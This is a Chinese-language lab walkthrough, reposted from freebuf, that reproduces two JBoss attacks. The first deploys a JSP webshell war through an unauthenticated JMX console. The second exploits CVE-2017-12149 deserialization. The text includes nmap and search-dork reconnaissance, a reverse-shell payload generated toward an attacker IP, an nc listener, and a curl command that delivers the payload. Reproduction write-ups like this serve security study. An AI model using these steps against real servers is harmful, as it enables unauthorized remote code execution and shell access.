JBoss漏洞复现 – 作者:ATL安全团队

JBoss简介

JBoss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.0、EJB2.0、EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与tomcat或jetty绑定使用。

JBoss信息收集

  • 第一种,nmap扫描发现服务

    nmap -sT -sV -Pn --open -p 80,8080-8090,9990,9999 -v -n 192.168.171

    图片[1]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 第二种,查看响应头

    图片[2]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 搜索引擎

  • jboss默认后台路径
    /jmx-console
    /web-console
    /web-console/Invoker
    /Incoker/JMXInvokerServlet
    ​
    ​
    inurl:/console/ intitle:"JBoss Management"
    inurl:/jmx-console/ site:*.target.*
    inurl:/admin-console/ site:*.target.*
    intitle:"Welcome toJBoss" site:*.target.*
    intitle:"jboss management console" "application server" version inurl:"wbe-console" intitle:"JBoss Management Console-Server Infirmation" "application Server"
    inurl:"web-console" OR inurl:"jmx-console"

JBoss 4.x 控制台未授权访问getshell

  • 影响版本:4.x以下

  • Jboss 4.x /jmx-console/ 后台存在未授权访问,进入后台,可部署 war 包Getshell。(带版本Jboss控制台没有账号密码,或者是弱口令)

1.环境搭建

  • 安装JBoss-4.2.3,并且配置环境变量:

    图片[3]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 修改server配置文件:

    图片[4]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 启动服务并访问。

    图片[5]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    能够访问说明环境搭建成功。

2.漏洞复现

  • 点击JMX Console或者url访问/jmx-console/目录

    图片[6]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    • 找到 jboss.deployment

      图片[7]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    • 在void addURL()的ParamType为java.net.URL,写入url部署Java包。

      图片[8]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    • 注意!注意!注意!
      ​
      1.war包马的制作:
      使用命令 jar -cvf test.war 1.jsp 这种制作的方法会比较完整。
      ​
      2.这里上传war是以url形式传入,那么要构造远程加载的环境,就要用到一个容器来下载。
      在kali上开启apache服务,并且将war包放在var/www/html目录下
  • 图片[9]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科
  • 在ParamValue位置上填入war包地址:

    图片[10]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 点击Invoke后返回,再点击Apply Chane

    图片[11]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 然后访问目录/Leo/Leo.jsp,jsp马成功上线。

图片[12]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

  • 影响版本:5.x/6.x

  • 描述:在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中,发现HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类,从而使攻击者可以通过精心制作的序列化数据执行任意代码。

1.环境搭建

  • 安装JBoss 6.1.0版本,并且配置环境变量:

    图片[13]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    新建的Administration的用户变量,将Jboss的目录,作为变量JBOSS_HOME 的变量值。

  • 修改server的配置文件,配置外网访问,将${jboss.bind.address}改为0.0.0.0,并且重启JBoss

    图片[14]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 访问8080端口,页面出现环境搭建成功:

    图片[15]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    在响应头中也可以看到JBoss版本。

2.漏洞复现

  • 访问/invoker/readonly目录,如果出现响应500,则可能存在漏洞,需要尝试利用,如果利用成功的话,则存在该漏洞,否则不存在漏洞。

    图片[16]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

    发现是响应返回500,我们尝试利用。

  • 使用工具JavaDeserH2HC,这里在kali中演示

    通过git clonehttps://github.com/joaomatosf/JavaDeserH2HC.git将工具下载后,进入目录,

    • 第一步,生成反弹shell

      javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
      ​
      java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.171.132:6666
      // 这里的IP和端口,是要接受反弹的机子,可以是vps,这里使用kali的ip和端口
    • 图片[17]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科
    • 第二步,kali上开启监听nc -lvvp 6666

    • 第三步,利用curl将刚才生成好的payload发送到目标机器上执行

    • curl http://192.168.171.131:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    • 图片[18]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科
    • nc监听上反弹出shell,并且可以执行命令。

      图片[19]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

  • 图片[20]-JBoss漏洞复现 – 作者:ATL安全团队-安全小百科

来源:freebuf.com 2021-04-12 10:50:20 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论